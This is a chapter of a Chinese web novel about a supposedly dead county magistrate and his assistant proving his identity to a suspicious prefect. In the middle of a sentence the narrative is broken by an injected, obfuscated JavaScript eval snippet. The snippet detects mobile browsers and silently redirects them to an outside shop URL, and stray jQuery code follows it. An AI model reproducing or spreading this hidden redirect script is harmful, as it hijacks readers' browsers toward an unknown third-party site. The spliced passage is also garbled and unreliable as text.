不过下一瞬她便反应过来,鬼魂怎么会发烧?那两日为了给他降温,她可是用温帕子给他擦了不知多少回。
真要说,也是她吴何清把人从鬼门关给拉回来的。
随即她觉察出后颈处传来一阵凉意,某人,不应当说某“鬼”捏了捏她的指尖,刻意用
一阵阴恻恻的嗓音低语道:“吴师爷,你觉着我是人……还是鬼呀?”
平日里他就惯会做戏,现在又来这一套。罢了罢了,总得先进得了府衙的大门,方能得县令的官印,她就陪他演一场。
一句话让她瞬间瞪大了双眼,牙齿都打着战,手脚也隐隐有些发软。她立即朝着带刀的衙役们冲去,边跑还边喊着回答道:
“鬼呀,鬼呀——”
这一声声撕心裂肺的喊叫声,让本就瑟瑟发抖的衙役们,更是彻底吓破了胆,霎时就抱到了一块,然后一股脑地往府衙里头跑。
左边腿脚不大利索的那个,边跑还连摔了两跤,刀都被摔飞出去了;还是右边讲义气的那个,硬生生把人给拉起来一起跑路。
“鬼呀!知府大人,府衙里闹鬼啦!”他俩雄浑的吼声响彻云霄,半点都看不出逃窜时的狼狈样。
这一滑稽场面让原本演得有几分害怕的吴何清,见状无语凝噎地立在了大门外。
这俩衙役咋胆儿比她还小?这也能当衙役?
看来这安平府不成,知府教吏无方啊。
“还愣在这做甚,进去吧。”那阵幽幽的声音,现下已经换成了正常的嗓音。
这厮鬼主意太多,她可得留神。于是她转过身来双手环胸望着他,“大人跟谁学的技法,不去戏班子唱戏啊,真是太可惜了。”
“一般一般,哪里比得上吴师爷声情并茂的演出。”岑大人也毫不示弱,迅速反击道。
吴何清微微眯了眯眼,又道:“大人扮鬼扮得这般像,莫不是师从菱芳姑娘?哦不对,人家是狐妖可不是鬼,那就是大人天赋异禀了。”
菱芳姑娘,便是柳堂先生大作《美艳狐妖色御史》中的人物,为惩治色胆包天的御史,将其狠狠地骗身、骗心、骗财,造福一方,还因此得了功德而道行大涨。
这话一出,岑定默的脸瞬间黑了,显然是没料到她当真看过这几本话本。二话不说,他便闷头往里走,留下占了口头便宜的吴师爷,摆着胜利者的姿态跟在后头。
不过进了府衙也没大用,一来他们二人并不认路,二来也不知道知府大人现在何处。所以他们只得跟着方才衙役消失的方向走去,没两步路就到了公堂之外。
看着四周陌生的环境,索性他们就进了公堂等人,省得在外头迷了路又被人给轰出去,那可就得不偿失了。
很快,外头便传来了阵阵整齐的脚步声,渐渐地声响愈发明显,他们定睛一瞧,原是知府大人率数十位衙役逼近了公堂,一伙人将他们二人团团包围。
“大胆小贼,竟敢在官府装神弄鬼,还不快快束手就擒!”领头的衙役拔刀出鞘,随即数十衙役统一拔刀,纷纷指向二人。
而在前头的岑定默仿佛未曾听到此言,也根本未在意身处刀锋阵下,自顾自地朝着薛知府一拜,恭敬地道:“下官岑定默见过知府大人。”
见状吴何清也跟着拜,还顺势把文书与令牌从包中取出来揣进怀里。
“岑…岑定默?”知府有些怀疑,上上下下打量了他一番,年纪倒是看着差不多,也像个玉面书生,可他不是早就死了吗?
“上月京中就已送来邸报,说是岑大人赴安平路上遇了意外,吏部会另派县令至洛县。你这后生这会儿突然冒出来,教本官如何信你?”
没等岑定默发话,吴师爷就将吏部调令文书与令牌给呈了上去。
薛知府虽还是不信,但还是让人将“证物”都取来,仔仔细细地检查了一番,还让身旁的经历一起掌眼。
好一阵后,二人也并未看出有任何问题,这文书与令牌确实就是吏部下发的。
这下可难办了,邸报上说人死了,可人却拿着文书活生生地站在他面前,知府大人的面色精彩纷呈,一时不知如何是好。
而岑定默则将眼前人的脸色一一收进眼底,心下自然也有了计较,他面色坚定地请求道:
“大人心中有疑虑,我等自然明白。只是下官一行忙着赶路,属实不知为何会有此等虚言,甚至还让京中的大人们信以为真,实在令人匪夷所思。
若大人不信,不如将此事上禀圣上,请京中派人来彻查此事。下官虽资历尚浅,但有幸面见过几次天颜,在御史台与六部也与各位同僚共事过些时日。
再加上家父于西北兢兢业业多年,表兄在翰林院也有不少苦劳,老师眀徳先生桃李天下。算起来,大初能认得下官之人也不在少数,定能还下官一个清白!”
这种时候就不能再藏着掖着了,他连忙把能搬的后台全都给搬出来,一一亮给上峰看:我上头可是有人罩着的,你可别不知好歹!
说完软刀子,他又深深一拜把面子给人家给足,果然再起来时。衙役们手中的刀都已落了鞘。
不过薛知府面色仍有犹疑,吴何清见势再往里头添了把火:“虽然大人与岑大人此前未曾见过,不知他音容。可大人若是稍作打听,就定能知晓去年的新科探花郎,眉心正有一颗红痣,这可是做不了假的!”
言罢她又把岑定默往前推了推,誓要让知府看清他眉心的红痣。
“好似……确有这么回事?”一旁的经历闻言也想起了此事,一拍掌问道:“是不是那位柳堂先生连写几本话本的御史探花!我家女儿跟我提过几回。”
一句话,让岑定默的脸黑成碳,吴师爷的脸上笑开了花。
“没错没错,大人好记性!柳堂先生正是以我们家大人为原型,连写了好几本话本,在京中卖得别提有多好了,没料到竟都卖到安平来了!”
吴何清幸灾乐祸地望了他一眼,被眼神警告后立即收了神,正色道:“所以大人们随
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844407|211710||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
便上街寻个小娘子,定都知道岑大人的眉心有颗红痣,站在大人们面前的,就是如假包换的岑定默——岑大人!”
见她圆回来了,岑定默便只在心底记了她一笔,把原来扣的五百文工钱,减到了二百五十文。
他算是看明白了,于她而言罚什么都没有罚钱来得有用。
这么一通下来,薛知府有些迷茫,“什么柳堂先生?什么话本?”这些事儿他通通都没听说过。
“那都是不足一提的小事儿,下官恳请大人上书圣上,请求彻查此事还下官一个清白,证明下官当真还活着。”岑定默赶忙抢过了话头,避免话题再转向话本究竟写了什么。
那他就真真在上峰面前,再也抬不起头了。这种滋味他在御史台已经尝过一回了,这辈子都不想再试第二回了。
而后二人被衙役们送去后院“休息”,他们心里也明白这便是被软禁了,而且不会轻易放他们出来。
不过一时半会,他们还猜不透薛知府的打算,便计划等天黑后再联系杨侍卫,现在先以静制动,以防打草惊蛇。
而知府大人此时确实还在迟疑,究竟该如何是好。
“大人,您当真要写这个折子?”经历在一旁伺候着笔墨,问道。
“邸报上说他岑定默死在了蒙城外的山谷里,可现在人却好端端地出现在了安平,那死在山谷里的人究竟是谁?他当真是岑定默吗?”他沉吟了片刻,也未曾下笔,笔尖上的墨都已滴落在纸上。
这经历自然答不上来,只得小心翼翼地道:“这位岑大人眉心确有一颗红痣,而且也主动请大人上书京中,除非他戴着上好的面具,或是与真的岑大人生得一模一样,否则不敢如此。”
人皮面具?薛知府心底升起了一丝怀疑,随即便又放下了:若真是京中派人来彻查此事,无论多精巧的面具也难以避免被发现,他九成九应当就是这位探花郎。
若真的岑定默身在此处,那京中的尸体便是有人伪造而成。
也就是说因为涉嫌谋杀岑定默而被拘禁的瑞阳郡主,其实分明是无辜的!
想到此处的知府大人,猛然放下了手中的笔——有能力让造这样一个局,让手握实权的郡主陷入其中的,当朝又能有几人?
而这些人,会饶过岑定默一条性命,给自己留下这么大一个后患嘛?
薛知府遥遥望向京城的方向,他总算想明白自己手中的这支笔,决定的应当不是岑县令的“生”与“死”,而是一场角逐的胜与败。
他的右手微微颤抖,始终无法下定决心落笔。多年安稳的官场生涯,让他几乎忘却了曾经经历过的风雨。
这封折子,他该不该写?这场浑水,他该不该趟?
这一局,是命中注定还是早已有人安排?
薛知府闭上眼深深一呼气,总算静下心来行云流水地写成了一封折子,随即便差人快马加鞭送往京中。
而他不知道的是,折子刚一出安平,就已经悄然被人换了。